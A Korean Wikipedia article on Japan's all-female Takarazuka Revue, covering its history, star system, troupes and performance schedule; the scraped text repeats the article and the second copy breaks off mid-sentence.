만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisMagyarBahasa IndonesiaItaliano日本語NederlandsPolskiPortuguês中文粵語 링크 편집 이 문서는 2018년 9월 12일 (수) 17:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
다카라즈카 가극단 - 위키백과, 우리 모두의 백과사전 다카라즈카 가극단 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 다카라즈카 가극단(일본어: 宝塚歌劇団 다카라즈카 가게키단[*])은, 여성으로만 구성된 일본의 가극단으로, 일본의 효고현 다카라즈카 시에 본거지를 두고 있다. 브로드웨이 스타일의 뮤지컬에서, 일본의 순정만화, 문학작품에서 딴 연극을 공연한다. 한큐 전철 산하에 소속되어 있다. 목차 1 개요 2 다카라젠느 3 스타 시스템 4 극단의 조 구성 5 역사 6 극단의 공연 시스템 7 소속 학생 7.1 주요 학생 7.2 기수별 일관(졸업생 포함) 8 함께 보기 9 외부 링크 개요[편집] 한큐 전철의 창시자인 고바야시 이치조(小林一三)가 1913년에 만든 '다카라즈카 창가대'(宝塚唱歌隊)를 시초로 하고 있으며, 1940년 현재의 명칭으로 바뀌었다. 다카라즈카 가극단의 공연은 주로 효고현 다카라즈카 시에 있는 다카라즈카 대극장(宝塚大劇場)과, 도쿄도 지요다 구에 있는 도쿄 다카라즈카 극장(東京宝塚劇場)에서 열린다. 무대에 출연하는 배우는 예외없이 다카라즈카 음악학교의 학생과 졸업생으로 구성되어 있으며, 미혼 여성이다. 가극단을 퇴단한 후에 다시 복귀하는 경우나, 외부의 단원이 다카라즈카 공연에 출연하는 경우는 없다. 또한 극히 드문 몇 예를 제외하고 소속 단원이 외부의 무대나 TV 프로그램 등에 출연하는 경우도 없다. TV 방송이 보급되면서 일시 다라카즈카의 인기가 떨어지며 매스컴으로부터 혹평을 받게 되는 일도 있었으나, 1974년 이케다 리요코의 원작 만화 베르사이유의 장미를 무대화 하며 큰 성공을 이루었다. 베르사이유의 장미는 이후 다카라즈카 가극단의 대표적인 공연으로 손꼽힌다. 다카라즈카 가극단은 '여성으로만 구성되어 있는' 극단인 관계로, 남성 역할도 여성이 맡는다. 여성 역할을 '아가씨 역'(娘役 무스메야쿠[*]), 남성 역할을 '남성 역'(男役 오토코야쿠[*])이라고 부른다. 공연의 주제는 고금동서를 망라하며, 역사극, 판타지, SF 등 다채롭다. 운영은 창립때부터 현재까지 한큐 전철이 운영하고 있고, 한큐 전철의 '창작유희 사업본부 가극 사업부'(創遊事業本部歌劇事業部)가 사업을 담당하고 있으며, 가극단 자체는 '한큐전철의 직할 조직'의 형태를 띠고 있다. 가극단원은 한큐 전철 그룹의 사원 대우로 고용되어 있다. 현 이사장은 한큐 한신 홀딩즈의 이사이며 창립자의 증손자인 고바야시 고이치(小林公一)이다. 1930년 8월 다카라즈카 쓰키구미(月組)의 공연 'Parisette' 다카라젠느[편집] 다카라즈카 가극단의 단원은 통칭 '다카라젠느'(タカラジェンヌ, 파리지엔느에서 본땀)라고 불린다. 단원의 프로필에는 생일은 공개되나, 탄생년도와 본명은 공개되지 않는다. 단원은 모두 예명으로 활동하며, 본명을 예명으로 삼을 수는 없다. (단, 1951년 입단하였던 하세가와 도시코 정도가 유일하게 본명을 예명으로 사용했던 것을 허락받은 적은 있다.) 단원의 예명은 현재는 본인들이 자유롭게 지을 수 있게 되어 있었으나, 초창기에는 하쿠닌잇슈(百人一首)에서 수를 인용하여 짓는 것이 일반적이었다. (2009년 4월 퇴단한 아란 케이(安蘭けい)의 경우 아랑 설화의 '아랑'과 한국 경상남도의 경(慶)에서 따왔다고 한다.) 다카라즈카 가극단의 단원은, 전원 가극단 부속 '다카라즈카 음악학교'에서 예과 및 본과의 2년간의 교육을 받도록 되어 있다. 학교를 졸업하고 가극단에 입단한 후에도 '연구과'의 '생도'라 불린다. 가극단과 다카라즈카 음악학교가 하나였을 당시의 관례가 이어져, 단원을 '생도', 연습장을 '교실', 연출가를 '선생'이라 부른다. 단원은 극단에 입단을 하면 남성역과 아가씨역 가운데 하나를 우선적으로 희망하도록 정해져 있다. 창설 초기에는 아가씨 역 쪽이 인기가 높았으나 현재는 남성 역 쪽이 팬들의 인기가 높으며, 무대 구성 또한 남성 역을 중심으로 구성되고 있다. 스타 시스템[편집] 다카라즈카 가극단의 큰 특징 가운데 하나로, 생도(배우)의 '스타 시스템'을 들 수 있다. 공연하는 작품에서 중요한 배역, 역할을 담당하는 사람은 기본적으로 각 조에 소속된 전 배우(생도) 가운데에서 뽑힌 일부의 스타로 한정되어 있다. 이 스타가 관객동원이나 인기를 몰고 오는데 중요한 역할을 차지하고 있는 것이다. 각 조의 스타의 정점에 선 남자 역할 배우는 '주연 남자역'(主演男役), 통칭 '톱스타'(トップスター)라 불리며, 각 공연의 주역을 맡는다. 이에 따라 각본은 톱스타에 맞춰서 작성된다. 그리고 톱스타의 상대역인 여자 역할의 배우는 '주연 아가씨 역'(トップ娘役), 통칭 '톱 아가씨 역'(トップ娘役)이라 불린다. 각 공연의 히로인 역할은 이 톱 아가씨 역할의 배우가 맡는다. 일반 상업 극단과 달리, 톱스타 및 톱 아가씨 역이 재임중 계속해서 주연의 역할을 맡게 된다. 톱스타를 정점으로, 밑으로 2순위(2番手), 3순위 등 역할이 붙여지나, 톱 스타 외에는 명확하게 고정된 지위가 아니므로 변동되기도 한다. 2순위 남자 배우는 톱스타에 이어 두 번째 서열을 차지하기 때문에 '준 톱스타'라 불리기도 한다. 스타는 그 용모, 스타성(화려함 및 오라), 인기가 중요한 요소이며, 실력이 있다고 해서 반드시 스타가 된다는 보장은 없다. 입단 당시에는 하급 레벨이었으나 노력을 거듭하며 인기를 얻어 톱스타로 승진하게 된 배우들도 있다. 현재의 톱 스타 시스템은 1980년대에 확립되었다. 그 이전에는 더블 톱 스타, 공연마다 주연이 바뀌는 등 유연성 있는 배역 할당이 있었다고 한다. 효고현 무코가와 강변에 자리잡은 다카라즈카 가극단의 극장 및 음악학교 극단의 조 구성[편집] 다카라즈카 가극단은 현재 5개의 그룹과 특별 그룹 '전과'(専科)로 구성되어 있다. 조장 부조장 하나구미 타카쇼 미즈키 하나노 쥬리아 츠키구미 토우카 유리노 아야즈키 세리 유키구미 리카 마스미 소노 하루토 호시구미 마리 유즈미 미키 치구사 소라구미 고토부키 츠카사 미카제 마이라 전과 - 가극단 단원(생도)는, 각각 다섯 그룹또는 전과 소속으로 나뉘어 있다. 각 그룹이 각각 공연을 치르며, 필요에 따라 전과에 소속된 생도가 참가하는 형태를 띠고 있다. 각 그룹(조)에는 대표격인 '조장'(組長)과 부조장(副組長)이 있다. 가장 높은 기수의 상급생이 보통 맡는 조장은 그룹 전체의 총괄, 관리를 맡거나 공사면에 걸쳐 각 그룹의 단원들을 돌보는 역할을 한다. 부조장은 조장을 도와 그룹의 총괄 관리를 담당하며, 조장에 사고가 있을 때 그 직무를 대신한다. 역사[편집] 1914년 4,5월에 있었던 다카라즈카의 제1회 공연:가극 '돈부라코'장소: 다카라즈카 신온천 내 파라다이스 극장 1951년 3월 유키구미 공연 그랜드 레뷔 「하얀 꽃의 비가(白き花の悲歌) - 엘레제」 가운데 남자 역 : 가스가노 야치요(春日野八千代) 한큐 전철을 창립한 고바야시 이치조가 1913년에 결성한 다카라즈카 창가대가 그 시초이다. 1913년 - 다카라즈카 창가대가 만들어지다. 12월에 다카라즈카 소녀가극 양성회(宝塚少女歌劇養成会)로 이름을 바꾸다. 1914년 - 첫 공연을 개최하다. 첫 번째 공연은 모모타로를 주제로 한 가극 '돈부라코'(ドンブラコ). 장소는 다카라즈카 신온천 내의 파라다이스 극장. 1918년 - 데이코쿠 극장에서 도쿄 첫 공연을 가지다. 잡지 '가게키'(歌劇)가 창간되다. 1919년 - 다카라즈카 소녀 가극 양성회를 해산하고, 다카라즈카 음악가극학교를 설립하다. 학생과 졸업생으로 조직된 다카라즈카 소녀 가극단(宝塚少女歌劇団)이 결성되다. 1921년 - 공연 수의 증가에 따라, 하나구미(花組), 쓰키구미(月組)의 두 그룹으로 나뉘다. 1924년 - 주 공연시설인 다카라즈카 대극장(宝塚大劇場)이 완성되다. 유키구미(雪組)가 신설되다. 1927년 - 일본 최초의 레뷔인 '몬 파리'(モン・パリ) 첫 공연이 대성공을 이루다. 1933년 - 현재 최연장 현역 배우인 가스가노 야치요 등장. 도쿄 공연의 증가로 인해 호시구미(星組)가 신설되다. 1934년 - 도쿄 다카라즈카 극장이 개장하다. 애호회원 조직인 다카라즈카 조시도모노카이(宝塚女子友の会, 현 다카라즈카 도모노카이(宝塚友の会))가 만들어지다. 1935년 - 화재로 인해 다카라즈카 대극장이 불타다. 4월에 다시 완성. 1938년 - 첫 해외 공연(독일, 이탈리아, 폴란드 순회)을 가지다. 다음해에는 미국을 순회 공연. 1939년 - 다카라즈카 음악가극학교가 '다카라즈카 음악무용학교'로 이름을 바꾸다. 다카라즈카 소녀 가극단과 다카라즈카 음악무용학교가 분리되다. 당시의 시국 악화로 인해 호시구미가 폐지되다. 1940년 - 다카라즈카 가극단(宝塚歌劇団)으로 이름을 바꾸다. 1944년 - 태평양전쟁으로 인해 다카라즈카 대극장과 도쿄 다카라즈카 극장이 폐쇄되다. 1946년 - 다카라즈카 음악무용학교가 다카라즈카 음악 학교로 이름을 바꾸다. 다카라즈카 대극장 공연이 재개되다. 1948년 - 노동기준법 대처를 위해 호시구미가 부활되다. 1957년 - 고바야시 이치조 사망. 1958년 - 다카라즈카 대극장 쓰키구미 공연 도중 가즈키 히로미(香月弘美)가 사고로 인해 관객이 보는 앞에서 사망하는 참사가 벌어지다. 1974년 8월 29일 - '베르사이유의 장미'의 첫 공연이 열리다. 대히트를 치다. 당시 TV에 밀려 인기가 저조해가던 다카라즈카 가극단을 중흥시킨 작품이 되다. 이를 계기로 다카라즈카의 팬이 급증하다. 1978년 - 부속 공연시설인 다카라즈카 바우홀이 개장하다. 1993년 - 신 다카라즈카 대극장이 신축개장되다. 구 극장은 69년 역사의 막을 내리다. 1995년 1월 17일 - 한신 아와지 대지진으로 다카라즈카 대극장, 바우홀이 피해를 입다. 1996년 빈 뮤지컬 『엘리자베트』를 유키구미가 처음으로 일본에 소개하다. 대히트를 치다. 1998년 - 도쿄 공연의 매년 정기 개최를 위해, 소라구미(宙組)를 신설하다. 도쿄 다카라즈카 가극단의 개축기간 동안의 공연을 위해 'TAKARAZUKA1000days 극장'을 임시개장하다. 2001년 - 신 도쿄 다카라즈카 극장이 개장하다. 2002년 7월 1일 - 다카라즈카 가극단 전문 방송 채널인 'TAKARAZUKA SKY STAGE'가 방송을 개시하다. 2007년 - '고바야시 이치조 서거 50년 스페셜' 공연을 갖다. 2009년 - 본공연의 공연기간을 단축하여, 1년에 10회의 공연을 치르게 되다. 극단의 공연 시스템[편집] 다카라즈카 가극단은, '본공연'(本公演)이라 불리는 대극장 작품을 중심으로, 전국 순회 공연을 가지며, 다카라즈카 바우 홀 공연, 시어터 드라마시티, 우메다 예술극장(梅田芸術劇場, 오사카), 하카타좌(博多座, 후쿠오카), 주니치 극장(中日劇場, 나고야), 닛세이극장(日生劇場, 도쿄) 등에서도 공연을 한다. 본공연은 다카라즈카 대극장이나 도쿄 다카라즈카 극장에서 상연하는 공연이다. 각 그룹이 돌아가면서 공연을 갖는다. 보통은 소속 작가가 각 그룹의 톱스타에 맞춰서 작성한 신작을 상영하나, 해외 뮤지컬 상연이나 과거의 작품을 재연하는 경우도 있다. 2000년 이래로, 하나구미 -> 호시구미 -> 유키구미 -> 소라구미 -> 쓰키구미 -> 하나구미... 순으로 공연을 갖는 것이 정착되었다. 본공연에는 각 그룹의 모든 단원(생도)이 전원출연을 하며, 필요에 따라 전과 그룹에서 몇명이 참가하기도 한다. 한 공연은 30~45일 정도 이루어지며, 원칙으로 다카라즈카 대극장 공연이 이루어진 후에 도쿄 다카라즈카 극장에서 계속해서 공연을 한다. 공연 작품이 대히트를 치는 경우에도 공연기간이 연장되는 경우는 없다. 공연 중 음악은 전속 오케스트라가 담당한다. 각 그룹 별로 본 공연은 1년에 1,2 작품 정도이며, 공연과 공연 사이에는 전국 순회 공연을 갖거나 시어터 드라마시티, 우메다 예술극장, 하카타좌, 주니치 극장, 닛세이극장 등지에서 공연을 갖는다. 본공연이 열리는 기간 중에는 연구과 7년차 이내의 신인들 위주로 편성되는 신인 공연이 다카라즈카 대극장 및 도쿄 다카라극장에서 열린다. 소속 학생[편집] 주요 학생[편집] 전과 마츠모토 유리(다카라즈카 가극단 이사) 토도로키 유우(위와 같음)   톱스타 톱 여역 하나구미 아스미 리오 센나 아야세 츠키구미 타마키 료 마나키 레이카 유키구미 노조미 후토 마아야 키호 호시구미 쿠레나이 유즈루 키사키 아이리 소라구미 마카제 스즈호 호시카제 마도카 주요 졸업생에 대해서는 다카라즈카 가극단 졸업생을 참고 기수별 일관(졸업생 포함)[편집] 1기생 - 2기생 - 3기생 - 4기생 - 5기생 - 6기생 - 7기생 - 8기생 - 9기생 - 10기생 11기생 - 12기생 - 13기생 - 14기생 - 15기생 - 16기생 - 17기생 - 18기생 - 19기생 - 20기생 21기생 - 22기생 - 23기생 - 24기생 - 25기생 - 26기생 - 27기생 - 28기생 - 29기생 - 30기생 31기생 - 32기생 - 33기생 - 34기생 - 35기생 - 36기생 - 37기생 - 38기생 - 39기생 - 40기생 41기생 - 42기생 - 43기생 - 44기생 - 45기생 - 46기생 - 47기생 - 48기생 - 49기생 - 50기생 51기생 - 52기생 - 53기생 - 54기생 - 55기생 - 56기생 - 57기생 - 58기생 - 59기생 - 60기생 61기생 - 62기생 - 63기생 - 64기생 - 65기생 - 66기생 - 67기생 - 68기생 - 69기생 - 70기생 71기생 - 72기생 - 73기생 - 74기생 - 75기생 - 76기생 - 77기생 - 78기생 - 79기생 - 80기생 81기생 - 82기생 - 83기생 - 84기생 - 85기생 - 86기생 - 87기생 - 88기생 - 89기생 - 90기생 91기생 - 92기생 - 93기생 - 94기생 - 95기생 - 96기생 - 97기생 - 98기생 - 99기생 - 100기생 101기생 - 102기생 - 103기생 함께 보기[편집] 다카라즈카 가극단의 패러디 사쿠라 대전 - 주인공들이 평소에 활동하는 '제국화격단'(帝国華撃団 데이코쿠 가게키단[*])은 다카라즈카 가극단과 유사한 점이 있다. 오란고교 호스트부 - 다카라즈카 가극단을 패러디한 부활동 '시라유리회'(통칭 즈카부(ヅカ部)가 등장한다. 다카라즈카 가극단 출신 유명 인사 하토야마 미유키 - 다카라즈카 가극단의 졸업생이자, 전 일본 내각총리대신 하토야마 유키오의 부인. 외부 링크[편집] 위키미디어 공용에 관련된미디어 분류가 있습니다.다카라즈카 가극단 (일본어) 다카라즈카 극장 공식 사이트 (일본어) 한큐 커뮤니케이션즈 vdeh한큐 한신 도호 그룹지주회사 한큐 한신 홀딩스 철도산업 한큐 전철(한큐 전철 고베 본선 한큐 전철 다카라즈카 본선 한큐 전철 교토 본선) 한신 전기 철도 한신 전기 철도 본선 한신 전기 철도 한신 난바 선 기타오사카 급행 전철 고베 전철 보유노세 전철 호쿠신 급행 전철 고베 고속 철도 롯코 마야 철도 버스·택시 사업 한큐 버스 한신 버스 한큐 시골 버스 신테츠 버스 단고 해륙 교통 오사카 공항 교통 한큐 택시 한신 택시 여행·운송 사업 한큐 한신 교통사 홀딩스〔한큐 교통사(한큐 한신 비지니스 여행/트라픽스)/한큐 한신 익스프레스〕 호텔 사업 한큐 한신 호텔(한큐 한신 레스토랑) 부동산 사업 한큐 부동산 한신 부동산 엔터테인먼트·커뮤니케이션 사업 도호 다카라즈카 가극단 주식회사 오에스 코마 스타디움 간사이 TV 방송 한큐 커뮤니케이션 소매 사업 H2O 리테일링 (기업)〔한큐 한신 백화점(한큐 백화점 한신 백화점) 주식회사 한쇼쿠(한큐 오아시스 한큐 패밀리 스토어 한큐 닛쇼 스토어 주식회사 한큐 프레쉬엘)〕 주식회사 한큐 리테일즈(아스나스) 북 퍼스트 그외 사업 한신 타이거스 프로 야구팀 한큐 한신 카드 관련 시설 다카라즈카 대극장 한신 고시엔 구장 우메다 한큐 빌딩 한큐 그랜드 빌딩 한큐 차야마치 빌딩 하비스 오사카 우메다 한신 제2 빌딩 관련 항목 대규모 사철(준 대기업 사철) 센슈 이케다 홀딩스 FNN FNS 스룻토KANSAI PiTaPa Hanica 긴키 닛폰 철도 오사카 시 교통국(오사카 시영 지하철) 산요 전기 철도 게이한 전기 철도 한큐전철 신포선 한큐 마을(우메다) 한큐·한신 경영 통합 한큐 전철 (소설) 전거 통제 WorldCat VIAF: 154786637 LCCN: n82010728 GND: 7556522-5 SUDOC: 098137778 BNF: cb16527444p (데이터) BIBSYS: 12066282 뮤직브레인즈: 99397ea0-24c2-47e0-9daa-6f79871c15a9 NLA: 35999531 NDL: 00281600 CiNii: DA00955524 원본 주소 "https://ko.wikipedia.org/w/index.php?title=다카라즈카_가극단&oldid=22362302" 분류: 다카라즈카 가극단일본의 연극한큐 한신 홀딩스한큐 한신 도호 그룹다카라즈카시기쿠치 간상 수상자숨은 분류: 일본어 표기를 포함한 문서VIAF 식별자를 포함한 위키백과 문서LCCN 식별자를 포함한 위키백과 문서GND 식별자를 포함한 위키백과 문서BNF 식별자를 포함한 위키백과 문서BIBSYS 식별자를 포함한 위키백과 문서MusicBrainz 식별자를 포함한 위키백과 문서NLA 식별자를 포함한 위키백과 문서 둘러보기 메뉴 개인 도구 로그인하지 않음토론기여계정 만들기로그인 이름공간 문서토론 변수 보기 읽기편집역사 보기 더 보기 검색 둘러보기 대문사용자 모임요즘 화제최근 바뀜모든 문서 보기임의 문서로도움말기부 도구 여기를 가리키는 문서가리키는 글의 최근 바뀜파일 올리기특수 문서 목록고유 링크문서 정보위키데이터 항목이 문서 인용하기 다른 프로젝트 위키미디어 공용 인쇄/내보내기 책 만들기PDF로 다운로드인쇄용 판 다른 언어 DeutschEnglishEspañolFrançaisMagyarBahasa IndonesiaItaliano日本語NederlandsPolskiPortuguês中文粵語 링크 편집 이 문서는 2018년 9월 12일 (수) 17:04에 마지막으로 편집되었습니다. 모든 문서는 크리에이티브 커먼즈 저작자표시-동일조건변경허락 3.0에 따라 사용할 수 있으며, 추가적인 조건이 적용될 수 있습니다. 자세한 내용은 이용 약관을 참고하십시오.Wikipedia®는 미국 및 다른 국가에 등록되어 있는 Wikimedia Foundation, Inc. 소유의 등록 상표입니다. 개인정보 정책 위키백과 소개 면책 조항 개발자 쿠키 정책 모바일 보기
다카라즈카 가극단 - 위키백과, 우리 모두의 백과사전 다카라즈카 가극단 위키백과, 우리 모두의 백과사전. 둘러보기로 가기 검색하러 가기 다카라즈카 가극단(일본어: 宝塚歌劇団 다카라즈카 가게키단[*])은, 여성으로만 구성된 일본의 가극단으로, 일본의 효고현 다카라즈카 시에 본거지를 두고 있다. 브로드웨이 스타일의 뮤지컬에서, 일본의 순정만화, 문학작품에서 딴 연극을 공연한다. 한큐 전철 산하에 소속되어 있다. 목차 1 개요 2 다카라젠느 3 스타 시스템 4 극단의 조 구성 5 역사 6 극단의 공연 시스템 7 소속 학생 7.1 주요 학생 7.2 기수별 일관(졸업생 포함) 8 함께 보기 9 외부 링크 개요[편집] 한큐 전철의 창시자인 고바야시 이치조(小林一三)가 1913년에 만든 '다카라즈카 창가대'(宝塚唱歌隊)를 시초로 하고 있으며, 1940년 현재의 명칭으로 바뀌었다. 다카라즈카 가극단의 공연은 주로 효고현 다카라즈카 시에 있는 다카라즈카 대극장(宝塚大劇場)과, 도쿄도 지요다 구에 있는 도쿄 다카라즈카 극장(東京宝塚劇場)에서 열린다. 무대에 출연하는 배우는 예외없이 다카라즈카 음악학교의 학생과 졸업생으로 구성되어 있으며, 미혼 여성이다. 가극단을 퇴단한 후에 다시 복귀하는 경우나, 외부의 단원이 다카라즈카 공연에 출연하는 경우는 없다. 또한 극히 드문 몇 예를 제외하고 소속 단원이 외부의 무대나 TV 프로그램 등에 출연하는 경우도 없다. TV 방송이 보급되면서 일시 다라카즈카의 인기가 떨어지며 매스컴으로부터 혹평을 받게 되는 일도 있었으나, 1974년 이케다 리요코의 원작 만화 베르사이유의 장미를 무대화 하며 큰 성공을 이루었다. 베르사이유의 장미는 이후 다카라즈카 가극단의 대표적인 공연으로 손꼽힌다. 다카라즈카 가극단은 '여성으로만 구성되어 있는' 극단인 관계로, 남성 역할도 여성이 맡는다. 여성 역할을 '아가씨 역'(娘役 무스메야쿠[*]), 남성 역할을 '남성 역'(男役 오토코야쿠[*])이라고 부른다. 공연의 주제는 고금동서를 망라하며, 역사극, 판타지, SF 등 다채롭다. 운영은 창립때부터 현재까지 한큐 전철이 운영하고 있고, 한큐 전철의 '창작유희 사업본부 가극 사업부'(創遊事業本部歌劇事業部)가 사업을 담당하고 있으며, 가극단 자체는 '한큐전철의 직할 조직'의 형태를 띠고 있다. 가극단원은 한큐 전철 그룹의 사원 대우로 고용되어 있다. 현 이사장은 한큐 한신 홀딩즈의 이사이며 창립자의 증손자인 고바야시 고이치(小林公一)이다. 1930년 8월 다카라즈카 쓰키구미(月組)의 공연 'Parisette' 다카라젠느[편집] 다카라즈카 가극단의 단원은 통칭 '다카라젠느'(タカラジェンヌ, 파리지엔느에서 본땀)라고 불린다. 단원의 프로필에는 생일은 공개되나, 탄생년도와 본명은 공개되지 않는다. 단원은 모두 예명으로 활동하며, 본명을 예명으로 삼을 수는 없다. (단, 1951년 입단하였던 하세가와 도시코 정도가 유일하게 본명을 예명으로 사용했던 것을 허락받은 적은 있다.) 단원의 예명은 현재는 본인들이 자유롭게 지을 수 있게 되어 있었으나, 초창기에는 하쿠닌잇슈(百人一首)에서 수를 인용하여 짓는 것이 일반적이었다. (2009년 4월 퇴단한 아란 케이(安蘭けい)의 경우 아랑 설화의 '아랑'과 한국 경상남도의 경(慶)에서 따왔다고 한다.) 다카라즈카 가극단의 단원은, 전원 가극단 부속 '다카라즈카 음악학교'에서 예과 및 본과의 2년간의 교육을 받도록 되어 있다. 학교를 졸업하고 가극단에 입단한 후에도 '연구과'의 '생도'라 불린다. 가극단과 다카라즈카 음악학교가 하나였을 당시의 관례가 이어져, 단원을 '생도', 연습장을 '교실', 연출가를 '선생'이라 부른다. 단원은 극단에 입단을 하면 남성역과 아가씨역 가운데 하나를 우선적으로 희망하도록 정해져 있다. 창설 초기에는 아가씨 역 쪽이 인기가 높았으나 현재는 남성 역 쪽이 팬들의 인기가 높으며, 무대 구성 또한 남성 역을 중심으로 구성되고 있다. 스타 시스템[편집] 다카라즈카 가극단의 큰 특징 가운데 하나로, 생도(배우)의 '스타 시스템'을 들 수 있다. 공연하는 작품에서 중요한 배역, 역할을 담당하는 사람은 기본적으로 각 조에 소속된 전 배우(생도) 가운데에서 뽑힌 일부의 스타로 한정되어 있다. 이 스타가 관객동원이나 인기를 몰고 오는데 중요한 역할을 차지하고 있는 것이다. 각 조의 스타의 정점에 선 남자 역할 배우는 '주연 남자역'(主演男役), 통칭 '톱스타'(トップスター)라 불리며, 각 공연의 주역을 맡는다. 이에 따라 각본은 톱스타에 맞춰서 작성된다. 그리고 톱스타의 상대역인 여자 역할의 배우는 '주연 아가씨 역'(トップ娘役), 통칭 '톱 아가씨 역'(トップ娘役)이라 불린다. 각 공연의 히로인 역할은 이 톱 아가씨 역할의 배우가 맡는다. 일반 상업 극단과 달리, 톱스타 및 톱 아가씨 역이 재임중 계속해서 주연의 역할을 맡게 된다. 톱스타를 정점으로, 밑으로 2순위(2番手), 3순위 등 역할이 붙여지나, 톱 스타 외에는 명확하게 고정된 지위가 아니므로 변동되기도 한다. 2순위 남자 배우는 톱스타에 이어 두 번째 서열을 차지하기 때문에 '준 톱스타'라 불리기도 한다. 스타는 그 용모, 스타성(화려함 및 오라), 인기가 중요한 요소이며, 실력이 있다고 해서 반드시 스타가 된다는 보장은 없다. 입단 당시에는 하급 레벨이었으나 노력을 거듭하며 인기를 얻어 톱스타로 승진하게 된 배우들도 있다. 현재의 톱 스타 시스템은 1980년대에 확립되었다. 그 이전에는 더블 톱 스타, 공연마다 주연이 바뀌는 등 유연성 있는 배역 할당이 있었다고 한다. 효고현 무코가와 강변에 자리잡은 다카라즈카 가극단의 극장 및 음악학교 극단의 조 구성[편집] 다카라즈카 가극단은 현재 5개의 그룹과 특별 그룹 '전과'(専科)로 구성되어 있다. 조장 부조장 하나구미 타카쇼 미즈키 하나노 쥬리아 츠키구미 토우카 유리노 아야즈키 세리 유키구미 리카 마스미 소노 하루토 호시구미 마리 유즈미 미키 치구사 소라구미 고토부키 츠카사 미카제 마이라 전과 - 가극단 단원(생도)는, 각각 다섯 그룹또는 전과 소속으로 나뉘어 있다. 각 그룹이 각각 공연을 치르며, 필요에 따라 전과에 소속된 생도가 참가하는 형태를 띠고 있다. 각 그룹(조)에는 대표격인 '조장'(組長)과 부조장(副組長)이 있다. 가장 높은 기수의 상급생이 보통 맡는 조장은 그룹 전체의 총괄, 관리를 맡거나 공사면에 걸쳐 각 그룹의 단원들을 돌보는 역할을 한다. 부조장은 조장을 도와 그룹의 총괄 관리를 담당하며, 조장에 사고가 있을 때 그 직무를 대신한다. 역사[편집] 1914년 4,5월에 있었던 다카라즈카의 제1회 공연:가극 '돈부라코'장소: 다카라즈카 신온천 내 파라다이스 극장 1951년 3월 유키구미 공연 그랜드 레뷔 「하얀 꽃의 비가(白き花の悲歌) - 엘레제」 가운데 남자 역 : 가스가노 야치요(春日野八千代) 한큐 전철을 창립한 고바야시 이치조가 1913년에 결성한 다카라즈카 창가대가 그 시초이다. 1913년 - 다카라즈카 창가대가 만들어지다. 12월에 다카라즈카 소녀가극 양성회(宝塚少女歌劇養成会)로 이름을 바꾸다. 1914년 - 첫 공연을 개최하다. 첫 번째 공연은 모모타로를 주제로 한 가극 '돈부라코'(ドンブラコ). 장소는 다카라즈카 신온천 내의 파라다이스 극장. 1918년 - 데이코쿠 극장에서 도쿄 첫 공연을 가지다. 잡지 '가게키'(歌劇)가 창간되다. 1919년 - 다카라즈카 소녀 가극 양성회를 해산하고, 다카라즈카 음악가극학교를 설립하다. 학생과 졸업생으로 조직된 다카라즈카 소녀 가극단(宝塚少女歌劇団)이 결성되다. 1921년 - 공연 수의 증가에 따라, 하나구미(花組), 쓰키구미(月組)의 두 그룹으로 나뉘다. 1924년 - 주 공연시설인 다카라즈카 대극장(宝塚大劇場)이 완성되다. 유키구미(雪組)가 신설되다. 1927년 - 일본 최초의 레뷔인 '몬 파리'(モン・パリ) 첫 공연이 대성공을 이루다. 1933년 - 현재 최연장 현역 배우인 가스가노 야치요 등장. 도쿄 공연의 증가로 인해 호시구미(星組)가 신설되다. 1934년 - 도쿄 다카라즈카 극장이 개장하다. 애호회원 조직인 다카라즈카 조시도모노카이(宝塚女子友の会, 현 다카라즈카 도모노카이(宝塚友の会))가 만들어지다. 1935년 - 화재로 인해 다카라즈카 대극장이 불타다. 4월에 다시 완성. 1938년 - 첫 해외 공연(독일, 이탈리아, 폴란드 순회)을 가지다. 다음해에는 미국을 순회 공연. 1939년 - 다카라즈카 음악가극학교가 '다카라즈카 음악무용학교'로 이름을 바꾸다. 다카라즈카 소녀 가극단과 다카라즈카 음악무용학교가 분리되다. 당시의 시국 악화로 인해 호시구미가 폐지되다. 1940년 - 다카라즈카 가극단(宝塚歌劇団)으로 이름을 바꾸다. 1944년 - 태평양전쟁으로 인해 다카라즈카 대극장과 도쿄 다카라즈카 극장이 폐쇄되다. 1946년 - 다카라즈카 음악무용학교가 다카라즈카 음악 학교로 이름을 바꾸다. 다카라즈카 대극장 공연이 재개되다. 1948년 - 노동기준법 대처를 위해 호시구미가 부활되다. 1957년 - 고바야시 이치조 사망. 1958년 - 다카라즈카 대극장 쓰키구미 공연 도중 가즈키 히로미(香月弘美)가 사고로 인해 관객이 보는 앞에서 사망하는 참사가 벌어지다. 1974년 8월 29일 - '베르사이유의 장미'의 첫 공연이 열리다. 대히트를 치다. 당시 TV에 밀려 인기가 저조해가던 다카라즈카 가극단을 중흥시킨 작품이 되다. 이를 계기로 다카라즈카의 팬이 급증하다. 1978년 - 부속 공연시설인 다카라즈카 바우홀이 개장하다. 1993년 - 신 다카라즈카 대극장이 신축개장되다. 구 극장은 69년 역사의 막을 내리다. 1995년 1월 17일 - 한신 아와지 대지진으로 다카라즈카 대극장, 바우홀이 피해를 입다. 1996년 빈 뮤지컬 『엘리자베트』를 유키구미가 처음으로 일본에 소개하다. 대히트를 치다. 1998년 - 도쿄 공연의 매년 정기 개최를 위해, 소라구미(宙組)를 신설하다. 도쿄 다카라즈카 가극단의 개축기간 동안의 공연을 위해 'TAKARAZUKA1000days 극장'을 임시개장하다. 2001년 - 신 도쿄 다카라즈카 극장이 개장하다. 2002년 7월 1일 - 다카라즈카 가극단 전문 방송 채널인 'TAKARAZUKA SKY STAGE'가 방송을 개시하다. 2007년 - '고바야시 이치조 서거 50년 스페셜' 공연을 갖다. 2009년 - 본공연의 공연기간을 단축하여, 1년에 10회의 공연을 치르게 되다. 극단의 공연 시스템[편집] 다카라즈카 가극단은, '본공연'(本公演)이라 불리는 대극장 작품을 중심으로, 전국 순회 공연을 가지며, 다카라즈카 바우 홀 공연, 시어터 드라마시티, 우메다 예술극장(梅田芸術劇場, 오사카), 하카타좌(博多座, 후쿠오카), 주니치 극장(中日劇場, 나고야), 닛세이극장(日生劇場, 도쿄) 등에서도 공연을 한다. 본공연은 다카라즈카 